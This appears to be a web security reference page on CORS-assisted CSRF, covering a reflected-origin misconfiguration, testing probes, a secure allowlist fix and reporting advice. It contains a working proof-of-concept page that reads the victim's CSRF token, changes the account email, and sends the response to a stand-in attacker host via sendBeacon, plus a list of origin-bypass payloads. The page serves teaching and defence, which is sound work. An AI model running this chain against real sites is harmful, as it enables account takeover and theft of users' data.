Skip to content
highCVSS 8.6CWE-942A05:2021 – Security Misconfiguration

CORS-Assisted CSRF

Reflected Access-Control-Allow-Origin with credentials, null origin allowlists, and the upgrade from a blind write to read-and-write.

Adding the read primitive

Ordinary CSRF is blind: the attacker causes a request and cannot see the response. A CORS misconfiguration removes that limitation, and the combination is worth more than either part:

  • Read the CSRF token, then use it in a properly-formed forged request. Every token defence collapses at once — the token was only ever secret because the attacker could not read the page.
  • Read the data directly — account details, API keys, message contents.
  • Reach non-simple shapes. With CORS explicitly allowing the origin, application/json and PUT/DELETE become usable because the preflight now succeeds.

The scope metric in the CVSS vector above (S:C) reflects this: the misconfigured CORS policy is the vulnerable component, and the user's session data is the impacted one.

The exploitable misconfiguration is narrow and specific: the server must reflect the request's Origin into Access-Control-Allow-Origin and set Access-Control-Allow-Credentials: true. Both. Neither alone is exploitable.

The exploitable configuration

JavaScriptcors.jsVulnerable
// The pattern that creates the bug. It is almost always written to "support
// multiple frontends" without maintaining an allowlist.
app.use((req, res, next) => {
  const origin = req.get('Origin')
  if (origin) {
    // Reflecting the request's own Origin means EVERY origin is allowed,
    // including the attacker's. A wildcard would at least be honest.
    res.set('Access-Control-Allow-Origin', origin)
    // ...and this line is what makes it exploitable rather than merely wrong.
    // With credentials allowed, the browser attaches cookies AND lets the
    // attacker's page read the response.
    res.set('Access-Control-Allow-Credentials', 'true')
  }
  next()
})

// Variants that are equally broken:
//
//   if (origin.endsWith('.example.com')) allow(origin)
//       -> https://evil-example.com and https://x.example.com.evil.com
//
//   if (origin.startsWith('https://app.example.com')) allow(origin)
//       -> https://app.example.com.evil.com
//
//   if (origin === 'null') allow('null')
//       -> a sandboxed iframe produces Origin: null on demand
//
// NOT exploitable, and often misreported:
//
//   res.set('Access-Control-Allow-Origin', '*')
//       -> the browser REFUSES to combine a wildcard with credentials, so
//          no cookies are sent and nothing authenticated is readable. This
//          is only a finding if the endpoint needs no credentials to return
//          sensitive data in the first place.

The full chain

HTMLattacker.example/index.htmlVulnerable
<!doctype html>
<html>
  <body>
    <script>
      // Step 1: read a page from the target. The reflected ACAO plus
      // Allow-Credentials means the browser attaches the victim's cookies
      // AND hands us the response body.
      fetch('https://app.example/account', { credentials: 'include' })
        .then((r) => r.text())
        .then((html) => {
          // Step 2: pull the CSRF token out of the HTML we just read. The
          // token was never a secret from someone who can read the page.
          const token = html.match(/name="csrf_token" value="([^"]+)"/)[1]

          // Step 3: make a properly-formed request WITH the token. Every
          // synchronizer-token defence is now satisfied, because we are
          // holding a real token issued to the victim's session.
          return fetch('https://app.example/account/email', {
            method: 'POST',
            credentials: 'include',
            headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
            body: 'csrf_token=' + encodeURIComponent(token) +
                  '&email=attacker@evil.example',
          })
        })
        // Step 4: and we can read the result, so the attack is no longer
        // blind -- exfiltrate confirmation or the account data itself.
        .then((r) => r.text())
        .then((out) => navigator.sendBeacon('https://attacker.example/log', out))
    </script>
  </body>
</html>

Testing for it

Three requests, and the second is the one that matters:

  1. Send an arbitrary Origin. Add Origin: https://evil.example to a normal authenticated request and look at the response headers. If Access-Control-Allow-Origin comes back as https://evil.example, it is reflecting.
  2. Check Access-Control-Allow-Credentials. Without true, the reflection is untidy but not exploitable against an authenticated session — the browser will not attach cookies.
  3. Probe the matching logic if it does not reflect blindly:
    • https://app.example.com.evil.example — catches startsWith
    • https://evil-app.example.com — catches endsWith and naive suffix checks
    • https://appXexample.com — catches an unescaped regex dot
    • Origin: null — catches an explicit null allowlist
    • Uppercase, trailing dot (app.example.com.), and IDN forms — catch normalisation differences

Also check whether the policy differs by path. It is common for one route to be configured permissively and the rest correctly, so test the endpoints that actually return sensitive data rather than just the root.

Prevention

JavaScriptcors.jsSecure
// A static allowlist of full origins, exact-matched. If the list is short
// enough to write down, it is short enough to maintain -- and if it is not,
// the requirement is wrong.
const ALLOWED = new Set([
  'https://app.example.com',
  'https://admin.example.com',
])

app.use((req, res, next) => {
  const origin = req.get('Origin')

  // Exact match only. Not includes, not startsWith, not a regex. Note that
  // 'null' is not in the list and never should be.
  if (origin && ALLOWED.has(origin)) {
    res.set('Access-Control-Allow-Origin', origin)
    res.set('Access-Control-Allow-Credentials', 'true')
    // Required whenever the response varies by Origin, or a shared cache
    // will serve one origin's permissive response to another origin.
    res.set('Vary', 'Origin')
  }

  next()
})

Reporting

Report this as a CORS misconfiguration with CSRF impact, not as a CSRF finding. The misconfiguration is the root cause, it is a one-line fix, and framing it that way gets it routed to the right owner.

Include:

  • The exact request and response showing the reflection, with the arbitrary Origin you sent and the Access-Control-Allow-Origin and Access-Control-Allow-Credentials that came back.
  • A PoC that reads something specific and non-trivial from the victim's session — the token, an email address, an API key — rather than just logging a status code.
  • The chain: read the token, then use it. This is what turns "information disclosure" into account takeover and it is what determines the severity.
  • The cookie's SameSite value. This still gates the attack: in Firefox and Safari a third-party fetch gets no cookie regardless of the CORS headers, so a SameSite=None cookie is generally a precondition and the finding may be Chromium-only. Say which browsers you verified in.